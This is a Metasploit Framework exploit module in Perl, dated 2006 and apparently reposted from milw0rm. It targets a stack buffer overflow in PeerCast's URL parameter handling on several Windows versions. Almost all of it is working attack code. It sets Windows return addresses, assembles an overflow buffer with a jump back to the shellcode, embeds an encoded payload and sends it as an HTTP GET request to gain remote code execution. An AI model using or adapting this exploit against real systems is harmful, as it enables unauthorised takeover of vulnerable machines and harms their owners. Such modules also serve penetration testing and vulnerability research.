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119 | ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::peercast_url_win32;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'PeerCast <= 0.1216 URL Handling Buffer Overflow(win32)',
'Version' => '$Revision: 1.2 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32' ],
'Priv' => 0,
'AutoOpts' => { 'EXITFUNC' => 'process' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 7144],
'SSL' => [0, 'BOOL', 'Use SSL'],
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0a\x0d\x20\x0d",
'Keys' => ['+ws2ord'],
'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
},
'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in PeerCast <= v0.1216.
The vulnerability is caused due to a boundary error within the
handling of URL parameters.
}),
'Refs' =>
[
['OSVDB', '23777'],
['BID', '17040'],
['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],
],
'Targets' =>
[
['Windows 2000 English SP0-SP4', 0x75023360 ],
['Windows 2003 English SP0-SP1', 0x77d099e3 ],
['Windows XP English SP0/SP1', 0x77dbfa2c],
['Windows XP English SP0/SP2', 0x77dc12b8],
],
'Keys' => ['peercast'],
'DisclosureDate' => 'March 8 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit
{
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $offset = $self->GetVar('OFFSET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
my $pattern = Pex::Text::AlphaNumText(1024);
# Return to EDI (offset 812)
substr($pattern, 768, 4, pack('V', $target->[1]));
# Jump back to the shellcode
substr($pattern, 812, 5, "\xe9".pack("V", -517));
# Insert he payload at offset 300 to avoid corruption
substr($pattern, 300, length($shellcode), $shellcode);
my $sploit = "GET /stream/?". $pattern ." HTTP/1.0\r\n\r\n";
$self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
$s->Send($sploit);
$self->Handler($s);
$s->Close();
return;
}
1;
# milw0rm.com [2006-03-30]
|
